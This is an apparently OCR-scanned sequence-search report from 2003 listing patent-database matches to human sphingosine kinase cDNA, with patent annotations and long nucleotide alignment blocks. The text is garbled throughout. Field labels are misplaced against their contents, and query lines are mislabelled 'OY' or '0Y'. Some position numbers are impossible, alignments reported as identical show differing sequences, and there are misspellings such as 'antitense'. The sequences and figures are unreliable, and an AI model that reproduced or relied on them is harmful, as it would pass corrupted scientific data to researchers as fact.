Query Match 2.98; Score 46.4; DB 3; Length 53577;
Best Local Similarity 48.98; Pred. No. 0.2; Indels 7; Gaps 2;
Matches 185; Conservative 0; Mismatches 186;
DB 14 CTATAGCAGGCTCCGGGGGAGAGGAGCCGCCACAGCCGCGCC---CTGGAGAGCC 70
3443 CTGAGCGCCAGCCTCCGAGCGGGGCGCCGAGCTCCGGAGCGGCGCTGGCCCGAGCC 3502
QY 71 GCTGGGAGCAGCAGATAGGAGCTGAAGGAGAGCCGCCAGCGGGAGGCCCA 130
DB 3503 GAGCGGGGCTGCTAGCAGCAGAGGTGCGGGCCGAGCCCATCAGCCCGCGCCAT 3562
QY 131 CAGCGCCAGGAGAGCCCGGAGGAGCGGGGCGGCGGTGAGGTTATGATCAGCGGCG 190
DB 3563 GCGGTCCGGGGCCCGCCTAGCTGCGGCTCCGCGCGGGGCGCTGGGGAGCGCG 3622
QY 191 GCGCCGGGGGCTGCTCCGCGGCGCTGCGGTGCTGCTGTAACCCGCGCGCG 250
DB 3623 GGGCCATGGGCGCTGCTAGCATGCGCGCGCGCGCGCGCGCTGGCGCTGGC 3682
QY 251 GCAAGGCAAGGCTTGAAGCTCTTCGGAGTCAAGTCAAGCCCTTTGGCTAGGCTG 310
DB 3683 CCTGGGCTCGGCTGTGAGCTCGGGGCGCTGCGGGGGGCGCCCGGCGCGGCTGCGGGCC 3742
QY 311 A---AATCTCTTACAGCTGATGCTCACTGAGCGCGGAAACACAGCGCGGAGCTGTG 366
DB 3743 CTGGGAGCGCCCGCTGCTGCGGCGCAGCGCGCGCGCTGCGCGCTGCTCACTGCTC 3802
QY 367 CGGTGAGAGAGCTGGCG 384
DB 3803 GGGCGCGGGGCTGCGGAGC 3820

Search completed: July 12, 2003, 15:19:53
Job time : 90 secs

C	10	1387.6	86.6	1256	24	ABL90618	Human poly(ADP-ribose)
C	11	1414.4	71.4	1505	22	ABE598461	Human sphingosine kinase
C	12	1137.8	71.2	1173	24	ABE599332	Human sphingosine kinase
C	13	1132.8	70.8	1200	22	AAL611122	Human sphingosine kinase
C	14	836.8	52.3	1815	21	AAZ47167	Mouse sphingosine kinase
C	15	836.4	52.3	1759	22	AAAD14425	Mouse consensus sequence
C	16	769.6	48.1	1559	21	AAZ47168	Mouse sphingosine kinase
C	17	505.2	31.6	587	22	AAH10443	Human CDNA clone
C	18	418	26.1	675	22	AAH07214	Human CDNA clone
C	19	382.6	23.9	394	24	ABL66446	Lung cancer related
C	20	368.8	23.1	604	22	AAH04943	Human CDNA clone
C	21	258	16.1	2380	22	AAH14817	Human CDNA for sph
C	22	258	16.1	2380	24	ABL59533	Human sphingosine kinase
C	23	258	16.1	2432	23	AAH58531	DNA encoding novel
C	24	242	15.1	2688	22	AAH14816	Mouse CDNA for sph
C	25	240	15.0	240	22	AAH04478	Conserved region I
C	26	193	12.1	266	22	AAH24477	Human ovarian tumor
C	27	193	12.1	296	22	AAH83083	Human full-length
C	28	183.8	11.5	2136	22	AAH99234	Human protein encod
C	29	176.8	11.1	801	22	AAH99234	Human cDNA 3'-end
C	30	128.2	8.0	539	22	AAH92477	Human kinase (PKI)
C	31	117.6	7.4	1521	22	AAH08644	Human ovarian ant
C	32	114.4	7.2	1394	24	AAH054324	DNA encoding nove
C	33	114.4	7.2	1578	23	ABA18278	Human nervous sys
C	34	114.4	7.2	11096	22	ABA18278	Human ORF polynu
C	35	105.8	6.6	287	24	ABR22070	Drosophila melano
C	36	97	6.1	2830	23	ABL03237	Drosophila melano
C	37	83.4	5.2	2020	23	ABL03297	Drosophila melano
C	38	83.4	5.2	4020	23	ABL03296	Drosophila melano
C	39	83	5.2	5686	23	ABR02326	Drosophila melano
C	40	60	3.8	60	24	ABM41530	Human spliced tra
C	41	57	3.6	426	24	ABU51829	Ala-Pro-Ala-pro c
C	42	52	3.3	2556	23	ABC02887	Drosophila melano
C	43	51.2	3.2	547	21	AACT6592	Human OREF ORF214
C	44	51.2	3.2	4231	21	AAA50510	Human sphingosine
C	45	51.2	3.2	4413	24	ABL40828	Human sphingosine

ALIGNMENTS

RESULT 1	
AAID4424	standard; cDNA; 1600 bp.
ID	AAID4424 standard; cDNA; 1600 bp.
XX	AAID4424;
AC	
XX	
DT	01-NOV-2001 (first entry)
DE	
XX	Human sphingosine kinase (Sphk) cDNA #1.
DE	
XX	Human sphingosine kinase: Sphk; Ischaemia: gene therapy;
KW	antitense therapy: cancer: sphingolipid; signalling molecule; apoptosis;
KW	cyclostatic; tumour necrosis factor-alpha; TNF; atherosclerosis; lymphoma
KX	leukaemia; vasotropic; cell proliferative disorder; vascular disease; ss
XX	
OS	Homo sapiens.
XX	
FH	Key
FT	Location/Qualifiers
FT	CDS
FT	176..1330
FT	/tag= a
FT	/product= "Human sphingosine kinase (Sphk) protein #1"
PX	MO200160990-A2.
XX	
PD	23-AUG-2001.
XX	
PF	14-FEB-2001; 2001WO-US04789.
XX	
PR	14-FEB-2000; 2000US-0182360.
PR	22-MAR-2000; 2000US-0191261.
XX	
PA	(CURA-) CURAGEN CORP.

PA (GETH) GENENTECH INC.
 XX Rastelli L;
 PI WPL; 2001-514770/56.
 DR P-PSDB; AAE07882.
 XX An isolated Sphingosine kinase polypeptide useful for treating a
 PT Sphk-associated disorder especially cancer, restenosis or ischemia in a
 PT human -
 PS Claim 8; Page 89-90; 107pp; English.
 XX The present invention relates to sphingosine kinase (Sphk) polypeptides
 CC and nucleic acids encoding them. Sphk is useful for treating a Sphk-
 CC associated disorder especially cancers such as leukaemia, lymphoma,
 CC ovarian, breast, lung, colon, testicular, stomach and skin,
 CC atherosclerosis, restenosis or ischemia and cell proliferative disease
 CC or disorder associated with vascular diseases. Sphk gene is used in gene
 CC therapy and antisense therapy. Sphingolipids serving as signalling
 CC molecules, have recently emerged as regulators of cell growth,
 CC differentiation, diverse cell phenotypes and cell death. Activation of
 CC Sphk by tumour necrosis factor (TNF)-alpha inhibits apoptosis in human
 CC endothelial cells. The present sequence is human sphingosine kinase
 CC (Sphk) cDNA.
 SQ Sequence 1600 BP; 265 A; 492 C; 531 G; 311 T; 1 other:
 Query Match 100.0%; Score 1599; DB 22; Length 1600;
 Best Local Similarity 100.0%; Pred. No. 0;
 Matches 1599; Conservative 0; Mismatches 0; Indels 0; Gaps 0;
 OY 1 CCCCCGGGGCTCTATAGCCAGCGCTCCGGGGGAGGCGAGCCCGCCACAGCGGGCCC 60
 DB 2 CCCCCGGGGCTCTATAGCCAGCGCTCCGGGGGAGGCGAGCCCGCCACAGCGGGCCC 61
 OY 61 TCGAGAGCGCGCTGGGCGACGATAGAGAGTGAAGAGAGCGCGCCCGCCACAGGCG 120
 DB 62 TCGAGAGCGCGCTGGGCGACGATAGAGAGTGAAGAGAGCGCGCGCCCGCCACAGGCG 121
 OY 121 AGGCGCCCAAGAGCGCGAGGAGCCCGTGGAGCGGAGCGCGGGGTGAGGTATGAT 180
 DB 122 AGGCGCCCAAGAGCGCGAGGAGCCCGTGGAGCGGAGCGCGGGGTGAGGTATGAT 181
 OY 181 CCAAGCGGGGGCCCCCGGGGGCGTCCCGCGGCGCTGCGGTGCTGCTGTAAC 240
 DB 182 CCAAGCGGGGGCCCCCGGGGGCGTCCCGCGGCGCTGCGGTGCTGCTGTAAC 241
 OY 241 CCGCGGGGGGCAAGAGCGCTTGCAGCTCTTCCGAGGTACAGTGCAGCCCTTTTG 300
 DB 242 CCGCGGGGGGCAAGAGCGCTTGCAGCTCTTCCGAGGTACAGTGCAGCCCTTTTG 301
 OY 301 GCTGAGCTGAAATCTCTTCAAGCTGATGCTACAGAGGAGGAGGAGCAAGCGGGGAG 360
 DB 302 GCTGAGCTGAAATCTCTTCAAGCTGATGCTACAGAGGAGGAGGAGCAAGCGGGGAG 361
 OY 361 CTGGGCGGTGGAGAGTGGGCGCGTGGAGCGTCTGAGTCAATGTCTGAGAGCGGG 420
 DB 362 CTGGGCGGTGGAGAGTGGGCGCGTGGAGCGTCTGAGTCAATGTCTGAGAGCGGG 421
 OY 421 CTGATGACAGAGGTGGAGAGGCTGATGAGAGGCGCTGACGTGGAGAGCGCGCATCCAG 480
 DB 422 CTGATGACAGAGGTGGAGAGGCTGATGAGAGGCGCTGACGTGGAGAGCGCGCATCCAG 481
 OY 481 AAGCGCCCTGTAGAGCTCCAGAGAGCTTGGCAAGCGCGTGGAGCGCTTCTTGAACAT 540
 DB 482 AAGCGCCCTGTAGAGCTCCAGAGAGCTTGGCAAGCGCGTGGAGCGCTTCTTGAACAT 541
 OY 541 TATGCTGGCTATGACAGAGTCAACATGAAGCTCTGACCACTGACAGCTATGCTG 600
 DB 542 TATGCTGGCTATGACAGAGTCAACATGAAGCTCTGACCACTGACAGCTATGCTG 601
 OY 601 TGCCTGCCGCTGTCTCAACCATGAAGCTGTCTCTGACAGAGGCTTGGGGGCTGCGC 660

DB 602 TGCCTGCCGCTGTCTCTCAACCATGAAGCTGTCTCTGACAGAGGCTTGGGGGCTGCGC 661
 OY 661 TGCCTGCCGCTGTCTCTCAACCATGAAGCTGTCTCTGACAGAGGCTTGGGGGCTGCGC 720
 DB 662 TGCCTGCCGCTGTCTCTCAACCATGAAGCTGTCTCTGACAGAGGCTTGGGGGCTGCGC 721
 OY 721 AAGTATCGGCGTCTGGGGAGAGATGGCGTTCACTGCTGGGACCTTCTGCTGGAGCC 780
 DB 722 AAGTATCGGCGTCTGGGGAGAGATGGCGTTCACTGCTGGGACCTTCTGCTGGAGCC 781
 OY 781 CTGGGAGAGCTTACCGGCGGAGTGGCTACCTCCCTGATAGAGAGTGGTTTCAAGCA 840
 DB 782 CTGGGAGAGCTTACCGGCGGAGTGGCTACCTCCCTGATAGAGAGTGGTTTCAAGCA 841
 OY 841 CCGTCTCCCGCTGTGGTTCAGAGAGGCGCGGTGATGACACACTGCTGGCACTGAG 900
 DB 842 CCGTCTCCCGCTGTGGTTCAGAGAGGCGCGGTGATGACACACTGCTGGCACTGAG 901
 OY 901 GAGCAGAGTGGCTTCTCACTGGAGTGGTCCCGAGAGAGCTTGTGCTAGTCTGGCA 960
 DB 902 GAGCAGAGTGGCTTCTCACTGGAGTGGTCCCGAGAGAGCTTGTGCTAGTCTGGCA 961
 OY 961 CTGCTGACACTGGACCTGGGAGAGATGTTGCTGACACCATGGGCGCTGTGACGT 1020
 DB 962 CTGCTGACACTGGACCTGGGAGATGTTGCTGACACCATGGGCGCTGTGACGT 1021
 OY 1021 GCGCTGATGATCTGTTCTACGTGCGGGGAGTGTCTGTGCGCATGCTGTGCGGCTC 1080
 DB 1022 GCGCTGATGATCTGTTCTACGTGCGGGGAGTGTCTGTGCGCATGCTGTGCGGCTC 1081
 OY 1081 TTCTGCGCATGAGAGAGGAGGAGCATATGAGATATATATCCCTACTTGTATATG 1140
 DB 1082 TTCTGCGCATGAGAGAGGAGGAGCATATGAGATATATATCCCTACTTGTATATG 1141
 OY 1141 CCGTGTGCGCTTCCGCTTGGAGCCAGATGGAGAAAGTGTGATGAGATGAGG 1200
 DB 1142 CCGTGTGCGCTTCCGCTTGGAGCCAGATGGAGAAAGTGTGATGAGATGAGG 1201
 OY 1201 GAATGATGTTAGAGAGGCGGTGAGGCGGAGGCGGAGTGCACCAACTTCTGTGATGTC 1260
 DB 1202 GAATGATGTTAGAGAGGCGGTGAGGCGGAGGCGGAGTGCACCAACTTCTGTGATGTC 1261
 OY 1261 AGCGGTGGTGGAGCCCGGCGGAGCTGGAAGCCCGAGAGATGCCACCGCCAGAGAG 1320
 DB 1262 AGCGGTGGTGGAGCCCGGCGGAGCTGGAAGCCCGAGAGATGCCACCGCCAGAGAG 1321
 OY 1321 CCCTTATGACCCCTGGGCGGCGGTGCTGTAGTGTCTACTTGCAGAGACCTTCTCTCT 1380
 DB 1322 CCCTTATGACCCCTGGGCGGCGGTGCTGTAGTGTCTACTTGCAGAGACCTTCTCTCT 1381
 OY 1381 CCGTAGAGGTGAGAGGCTTCCACAGCTCTGTGGGGGTGAGAGAGTCTCTCTGAGA 1440
 DB 1382 CCGTAGAGGTGAGAGGCTTCCACAGCTCTGTGGGGGTGAGAGAGTCTCTCTGAGA 1441
 OY 1441 AGGCTGAGAGGTGGAGGCTATGCTTGGGGGAGAGCGGCAATGAAGTCTCTGGTCA 1500
 DB 1442 AGGCTGAGAGGTGGAGGCTATGCTTGGGGGAGAGCGGCAATGAAGTCTCTGGTCA 1501
 OY 1501 GAGCGCAGAGTGGTGGGCGGAGCTGCTATGTAAGGCTTCTTGTGTTGAGAGAGCC 1560
 DB 1502 GAGCGCAGAGTGGTGGGCGGAGCTGCTATGTAAGGCTTCTTGTGTTGAGAGAGCC 1561
 OY 1561 CACCCAGAGCAACCAATTCAAATTAAGTGAATTCACCA 1599
 DB 1562 CACCCAGAGCAACCAATTCAAATTAAGTGAATTCACCA 1600
 RESULT 2
 AAH15652
 ID AAH15652 standard; cDNA; 1821 BP.
 XX
 AC AAH15652;

XX	26-JUN-2001	(first entry)
DE	Human cDNA sequence SEQ ID NO:13996.	
XX	Human; primer: detection; diagnosis; antisense therapy; gene therapy; ss.	
XX	Homo sapiens.	
OS	Ep1074617-A2.	
PN	07-FEB-2001.	
PD	28-JUL-2000; 2000EP-0116126.	
XX	29-JUL-1999; 99JP-0248036.	
PR	27-AUG-1999; 99JP-0300253.	
PR	11-JAN-2000; 2000JP-0118776.	
PR	02-MAY-2000; 2000JP-0183767.	
XX	09-JUN-2000; 2000JP-0241899.	
PA	(HELI-) HELIX RES INST.	
PI	Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;	
PI	Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;	
XX	WPI; 2001-318749/34.	
DR	Primer sets for synthesizing polynucleotides, particularly the 5602	
PT	full-length cDNAs defined in the specification, and for the detection	
PT	and/or diagnosis of the abnormality of the proteins encoded by the	
PT	full-length cDNAs -	
XX	Claim 8; SEQ ID 13996; 2537bp + CD ROM; English.	
XX	The present invention describes primer sets for synthesizing 5602	
CC	full-length cDNAs defined in the specification. Where a primer set	
CC	comprises: (a) an oligo-dT primer and an oligonucleotide complementary	
CC	to the complementary strand of a polynucleotide which comprises one of	
CC	the 5602 nucleotide sequences defined in the specification, where the	
CC	oligonucleotide comprises at least 15 nucleotides; or (b) a combination	
CC	of an oligonucleotide comprising a sequence complementary to the	
CC	complementary strand of a polynucleotide which comprises a 5'-end	
CC	sequence and an oligonucleotide comprising a sequence complementary to a	
CC	polynucleotide which comprises a 3'-end sequence, where the	
CC	oligonucleotide comprises at least 15 nucleotides and the combination	
CC	of the 5'-end sequence/3'-end sequence is selected from those defined in	
CC	the specification. The primer sets can be used in antisense therapy and	
CC	in gene therapy. The primers are useful for synthesizing polynucleotides,	
CC	particularly full-length cDNAs. The primers are also useful for the	
CC	detection and/or diagnosis of the abnormality of the proteins encoded by	
CC	the full-length cDNAs. The primers allow obtaining of the full-length	
CC	cDNAs easily without any specialized methods. AAH03166 to AAH13628 and	
CC	AAH13633 to AAH18742 represent human cDNA sequences; AAB92446 to	
CC	AAH93583 represent human amino acid sequences; and AAH13629 to AAH13632	
CC	represent oligonucleotides, all of which are used in the exemplification	
CC	of the present invention.	
XX	Sequence 1821 BP; 301 A; 569 C; 614 G; 337 T; 0 other;	
SO		
Query Match	97.6%; Score 1560.8; DB 22; Length 1821;	
Best Local Similarity	98.6%; Pred. No. 0;	
Matches 1574; Conservative	0; Mismatches 22; Indels 0; Gaps 0	
0Y	3 CCCCAGGCTCTCTATAGCCAGCAGGCTCCGGCGGGGGAAGGCCACACAGCCGCGCTG 62	
DB	221 CGCGGCTCTCTTAAAGCCAGCGCTCCGGCGGGGGAAGGCCAGCCCAAGCCGCGCTG 280	
0Y	63 CGACGCCGCGCTGGGACAGCAGCAGATTAAGAGCTGAAGAGAGAGCCGCCACGGGAG 122	
DB	281 CGAGCCCGCGCTGGGACAGCAGCAGATTAAGAGCTGAAGAGAGAGCCGCCACGGGAG 340	
0Y	123 CGCCCCCAGAGCGCCAGGAGCCCGCTGGCAGCGGAGAGCCGCGCTGAGATTATGATCC 1822	

Db	341	CGCCCCACACCGCCAGGAGCCCTTGGACCGGGAGCCGGGGGTGAGGTTATGATCC	400
OY	183	AGCGGGCGGGCCCCGGGGCGTGTCTCCCGCGGCCCTCGCGCGTGTGTGTCTGAACCC	242
Db	401	AGCGGGCGGGCCCCGGGGCGTGTCTCCCGCGGCCCTCGCGCGTGTGTGTCTGAACCC	460
OY	243	GGCGGGCGGCAAGGGCAAGGCCCTTGGACGCTCTTCCGAGTCACTGCAGCCCTTTTGGC	302
Db	461	GGCGGGCGGCAAGGGCAAGGCCCTTGGACGCTCTTCCGAGTCACTGCAGCCCTTTTGGC	520
OY	303	TGAGGCTGAATTCCTTTCACGCTGTATCTACTTGAAGGGGGAACACGGCGGGAGCT	362
Db	521	TGAGGCTGAATTCCTTTCACGCTGTATCTACTTGAAGGGGGAACACGGCGGGAGCT	580
OY	363	GGTGGGGCGGAGAGAGCTGGGCGCGTGGGAGCGCTGTGGTGTCAATGTGTGAGAAGGCT	422
Db	581	GGTGGGGCGGAGAGAGCTGGGCGCGTGGGAGCGCTGTGGTGTCAATGTGTGAGAAGGCT	640
OY	423	GATGCACAGAGTGTGTGAACGGGGCTCATGAGACGGGCTTGACTTGGAGACCGGCATCCAGAA	482
Db	641	GATGCACAGAGTGTGTGAACGGGGCTCATGAGACGGGCTTGACTTGGAGACCGGCATCCAGAA	700
OY	483	GCCCCGTGTGTAGCTCCCGACGAGGCTCTGGCAAGCGGCTGGCAGCTTCTTGAACATTA	542
Db	701	GCCCCGTGTGTAGCTCCCGACGAGGCTCTGGCAAGCGGCTGGCAGCTTCTTGAACATTA	760
OY	543	TGTGTGCTATAGCAGGCTCACCAATGAAGACCTCCTGACCAACTGCACGCTAATTTGCTGTG	602
Db	761	TGTGTGCTATAGCAGGCTCACCAATGAAGACCTCCTGACCAACTGCACGCTAATTTGCTGTG	820
OY	603	CGCGCCGGGTGTGTACACCATGAACCTGCTGTCTGTGTGCACAAGGCTTGGGGGTGCGCTC	662
Db	821	CGCGCCGGGTGTGTGTACACCATGAACCTGCTGTCTGTGTGCACAAGGCTTGGGGGTGCGCTC	880
OY	663	GTTCTCTGTGTCTACAGCTTGGGCTTGGGCTTCAATTCGTATGTGTGAACCTTAGAGATGATAA	722
Db	881	GTTCTCTGTGTCTACAGCTTGGGCTTGGGCTTCAATTCGTATGTGTGAACCTTAGAGATGATAA	940
OY	723	GTATCGGGGCTTGGGGGGAGATGCGGTTACTGTGGGCACTTCCGCGCTGCGGAGCCCT	782
Db	941	GTATCGGGGCTTGGGGGGAGATGCGGTTACTGTGGGCACTTCCGCGCTGCGGAGCCCT	1000
OY	783	GCGCACCTACCGCGGCGCAGCTGGCTACCCCTCCCTGTAGGAAGAGTGGGTTTCAAGACACC	842
Db	1001	GCGCACCTACCGCGGCGCAGCTGGCTACCCCTCCCTGTAGGAAGAGTGGGTTTCAAGACACC	1060
OY	843	TGCTTCCCCCGTTGTGTGTCCAGACAGAGGCCCGGTAGATGCACACCTGTGTCCATGTGAGGA	902
Db	1061	TGCTTCCCCCGTTGTGTGTCCAGACAGAGGCCCGGTAGATGCACACCTGTGTCCATGTGAGGA	1120
OY	903	GCAGGTGGCTTCTCACTGCGAGGTGTGTCCCGAGAGAGACTTTGGTCAATGTCGGGCACT	962
Db	1121	GCAGGTGGCTTCTCACTGCGAGGTGTGTCCCGAGAGAGACTTTGGTCAATGTCGGGCACT	1180
OY	963	GCTGCACCTGCAGACCTGGCGCAGTGTGATTTGTCTGCACCAATGGGCGCGCTGTGCAGCTGG	1022
Db	1181	GCTGCACCTGCAGACCTGGCGCAGTGTGATTTGTCTGCACCAATGGGCGCGCTGTGCAGCTGG	1240
OY	1023	CGTCATGCACTGTGTTCTACGTGTGGGGCGGAGTGTCTGTGCCATGCTGTGCGCTCTT	1082
Db	1241	CGTCATGCACTGTGTTCTACGTGTGGGGCGGAGTGTCTGTGCCATGCTGTGCGCTCTT	1300
OY	1083	CCTGGCCATGGAGAAAGGCGGCAATGTGAGATGAATGAAGCCCATCTGGTATATGTGCC	1142
Db	1301	CCTGGCCATGGAGAAAGGCGGCAATGTGAGATGAATGAAGCCCATCTGGTATATGTGCC	1360
OY	1143	CGTGGTCCCTCTCCGCTTGTGAGACCCAAAGATGTGTTGTGACGTGATGTGGGA	1202
Db	1361	CGTGGTCCCTCTCCGCTTGTGAGACCCAAAGATGTGTTGTGACGTGATGTGGGA	1420
OY	1203	ATTGATGTTAGCGAGGCGGTGCAGAGGCGCAGGTGCACCAACTTCTGTGATGTGAG	1262

Db 1421 ATTGATGTTAGCGAGCCGCTGACAGGCCAGGTGACACCAAACTACTTCTGATGTCAG 1480
Oy 1263 CGGTTCGTTGAGAGCCCGCCCGCAGCTGAGAGCCCGACAGAGCCCGCAGAGAGCC 1322
Db 1481 CGGTTCGTTGAGAGCCCGCCCGCAGCTGAGAGCCCGACAGAGCCCGCAGAGAGCC 1540
Oy 1323 CTATATGACCCCTGAGGCGCGCTGCTGCTAGTGTCTACTTGGAGAGACCTTCTCTCC 1382
Db 1541 CTATATGACCCCTGAGGCGCGCTGCTGCTAGTGTCTACTTGGAGAGACCTTCTCTCC 1600
Oy 1383 CTAGGGCTGAGAGGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1442
Db 1601 CTAGGGCTGAGAGGCGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1660
Oy 1443 GGTGAGAGGCTGAGAGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1502
Db 1661 GGTGAGAGGCTGAGAGGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1720
Oy 1503 GCCCAGCTGCTGAGGCGCGCAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1562
Db 1721 GCCCAGCTGCTGAGGCGCGCAGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTGCTG 1780
Oy 1563 CCCACGAGCAAAATCCAAATTAAGTGAATGCCA 1598
Db 1781 CCCACGAGCAAAATCCAAATTAAGTGAATGCCA 1816

RESULT 3
AAH16415
ID AAH16415 standard; cDNA; 1772 BP.
AAH16415;
26-JUN-2001 (first entry)
Human cDNA sequence SEQ ID NO:15393.
Human; primer; detection; diagnosis; antisense therapy; gene therapy; ss.
Homo sapiens.
EP1074617-A2.
07-FEB-2001.
28-JUL-2000; 2000EP-0116126.
29-JUL-1999; 99JP-0248036.
27-AUG-1999; 99JP-0300253.
11-JAN-2000; 2000JP-0118776.
02-MAY-2000; 2000JP-0183767.
09-JUN-2000; 2000JP-0241899.
(HELI-) HELIX RES INST.
Ota T, Isogai T, Nishikawa T, Hayashi K, Saito K, Yamamoto J;
Ishii S, Sugiyama T, Wakamatsu A, Nagai K, Otsuki T;
WPI: 2001-318749/34.
Primer sets for synthesizing polynucleotides, particularly the 5602
full-length cDNAs defined in the specification, and for the detection
and/or diagnosis of the abnormality of the proteins encoded by the
full-length cDNAs -
Claim 8; SEQ ID 15393; 2537bp + CD ROM; English.
The present invention describes primer sets for synthesizing 5602
full-length cDNAs defined in the specification. Where a primer set
comprises: (a) an oligo-dT primer and an oligonucleotide complementary
to the complementary strand of a polynucleotide which comprises one of
the 5602 nucleotide sequences defined in the specification, where the
oligonucleotide comprises at least 15 nucleotides; or (b) a combination

CC of an oligonucleotide comprising a sequence complementary to the
CC complementary strand of a polynucleotide which comprises a 5'-end
CC sequence and an oligonucleotide comprising a sequence complementary to a
CC polynucleotide which comprises at least 15 nucleotides and where the
CC oligonucleotide comprises at least 15 nucleotides and where the
CC 5'-end sequence/3'-end sequence is selected from those defined in
CC the specification. The primer sets can be used in antisense therapy and
CC in gene therapy. The primers are useful for synthesizing polynucleotides,
CC particularly full-length cDNAs. The primers are also useful for the
CC detection and/or diagnosis of the abnormality of the proteins encoded by
CC the full-length cDNAs. The primers allow obtaining of the full-length
CC cDNAs easily without any specialised methods. AAH03166 to AAH13628 and
CC AAH13633 to AAH18742 represent human cDNA sequences; AAH92446 to
CC AAH95893 represent human amino acid sequences; and AAH13629 to AAH13632
CC represent oligonucleotides, all of which are used in the exemplification
CC of the present invention.
SQ Sequence 1772 BP: 285 A; 566 C; 585 G; 336 T; 0 other;

Query Match 97.4%; Score 1558.2; DB 22; Length 1772;
Best Local Similarity 98.6%; Pred. No. 0;
Matches 1572; Conservative 0; Mismatches 23; Indels 0; Gaps 0;

Oy 3 CCCCGGGCTCTTATAGCAGGCTCCGGGGGAGAGAGCCGCCACAGCGGCTG 62
Db 178 CCCCGGTCTCTTACAGCCAGGCTCCGGGGGAGAGAGCCGCCACAGCGGCTG 237
Oy 63 CGAGCCGCGCTGAGGCGACACCGATTAAGAGCTGAGAGAGCCGCCACAGCGGCTG 122
Db 238 CGAGCCGCGCTGAGGCGACACCGATTAAGAGCTGAGAGAGCCGCCACAGCGGCTG 297
Oy 123 CGCCCGCACAGCGCCAGGAGACCCCTGAGGAGGAGAGCGGCTGAGATGATTC 182
Db 298 CGCCCGCACAGCGCCAGGAGACCCCTGAGGAGGAGAGCGGCTGAGATGATTC 357
Oy 183 AGCGGGGCGCCCGGGGCGTGTCTCCGCGGCTGCGGCTGCTGCTGCTGCAACC 242
Db 358 AGCGGGGCGCCCGGGGCGTGTCTCCGCGGCTGCGGCTGCTGCTGCTGCAACC 417
Oy 243 GCGCGGCGCAGAGGAGGAGGCTTGTGAGTCTTCCGAGTACAGCGAGCCCTTTGGC 302
Db 418 GCGCGGCGCAGAGGAGGAGGCTTGTGAGTCTTCCGAGTACAGCGAGCCCTTTGGC 477
Oy 303 TGAAGCTGAATCTCTTACAGGCTGATGCTCACTAGCGGCGGAGAGGCT 362
Db 478 TGAAGCTGAATCTCTTACAGGCTGATGCTCACTAGCGGCGGAGAGGCT 537
Oy 363 GGTGCGGTGAGAGAGCTGAGGCGCTGAGAGGCTGAGTGTGATGCTGAGAGGCT 422
Db 538 GGTGCGGTGAGAGAGCTGAGGCGCTGAGAGGCTGAGTGTGATGCTGAGAGGCT 597
Oy 423 GATGACAGAGGTGAGAGGCTGATGAGAGGCTGAGAGGCTGAGTGTGATGCTGAG 482
Db 598 GATGACAGAGGTGAGAGGCTGATGAGAGGCTGAGAGGCTGAGTGTGATGCTGAG 657
Oy 483 GCCCGTGTAGCTTCCAGAGGCTTGTGAGAGGCTGAGAGGCTTCTTACACATTA 542
Db 658 GCCCGTGTAGCTTCCAGAGGCTTGTGAGAGGCTTGTGAGAGGCTTCTTACACATTA 717
Oy 543 TGTGCTGTATAGAGAGTGAACGCTGATGAGAGGCTTGTGAGAGGCTTGTGAG 602
Db 718 TGTGCTGTATAGAGAGTGAACGCTGATGAGAGGCTTGTGAGAGGCTTGTGAG 777
Oy 603 CGCGCGGTGCTGACCATGAGAGCTGCTGCTGACAGGCTTGTGAGAGGCTTGTGAG 662
Db 778 CGCGCGGTGCTGACCATGAGAGCTGCTGCTGACAGGCTTGTGAGAGGCTTGTGAG 837
Oy 663 GTTCTGTGCTGAGGCTGAGGCTTGTGAGAGGCTTGTGAGAGGCTTGTGAG 722
Db 838 GTTCTGTGCTGAGGCTGAGGCTTGTGAGAGGCTTGTGAGAGGCTTGTGAG 897
Oy 723 GTATGGGCTGAGGAGATGAGGCTTGTGAGAGGCTTGTGAGAGGCTTGTGAG 782

Db	898	GTATTCGGGCTGTGGGGGAGATGCGCTTCACTCTGTGGGACACTTTCCTGGCTCTGGCAGCCCT	957
OY	783	GGCGACCTACCGCGGGCGACTGAGTACCCTTCCCTGTAGAGAGTGGGTTTCAAGACAC	842
Db	958	GGCGACCTACCGCGGGCGAGCTGAGGCTACCTCCCTGTAGAGAGTGGGTTTCAAGACAC	1017
OY	843	TGCTTCCCGGTTTGGTCCAGCAGGGCCCGGTAGATGCACACTGGTGGCCACTGGAGGA	902
Db	1018	TGCTTCCCGGTTTGGTCCAGCAGGGCCCGGTAGATGCACACTGGTGGCCACTGGAGGA	1077
OY	903	GCAGGTGCTTCTCTACTGTGGCAGGTGGTGGCCGACGAGAGACTTGTGTAGTCCCTGGCACT	962
Db	1078	GCACAGTGCCTCTCTACTGTGGCAGGTGGTGGCCGACGAGAGACTTGTGTAGTCCCTGGCACT	1137
OY	963	GCTGCACCTCGCACTGGCCAGTGAATGATTTGTCTGCACCCATGGGCGGCTGTGCACGTGG	1022
Db	1138	GCTGCACCTCGCACTGGCCAGTGAATGATTTGTCTGCACCCATGGGCGGCTGTGCACGTGG	1197
OY	1023	CGTGCATCATCTGTCTTACGTGCGGGGGGAGTGTCTGTGCCCAATGCGTCTGGCGCTT	1087
Db	1198	CGTGCATCATCTGTCTTACGTGCGGGGGGAGTGTCTGTGCCCAATGCGTCTGGCGCTT	1257
OY	1083	CTTGCGCATGTGAGAAAGGCGAGGCATATGAGATGAAATGCCCTTACTTGGTATATGGCC	1142
Db	1258	CTTGCGCATGTGAGAAAGGCGAGGCATATGAGATGAAATGCCCTTACTTGGTATATGGCC	1317
OY	1143	CGTGGTGGCCCTTCCGCTTGGAGCCCAAGGAAAGGTGTGTTTGCAGTGGATGGGGA	1202
Db	1318	CGTGGTGGCCCTTCCGCTTGGAGCCCAAGGAAAGGTGTGTTTGCAGTGGATGGGGA	1377
OY	1203	ATTATGATGTTATGACAGGCGCTGTGCAGAGGCGCAAGTGCACCAACTTCTGGATGTATAG	1262
Db	1378	ATTATGATGTTATGACAGGCGCTGTGCAGAGGCGCAAGTGCACCAACTTCTGGATGTATAG	1437
OY	1263	CGGTTGGCTGAGAGCCCCCGCCAGCTGGAAGCCCGACAGATGCCACCGCAGAAAGACC	1322
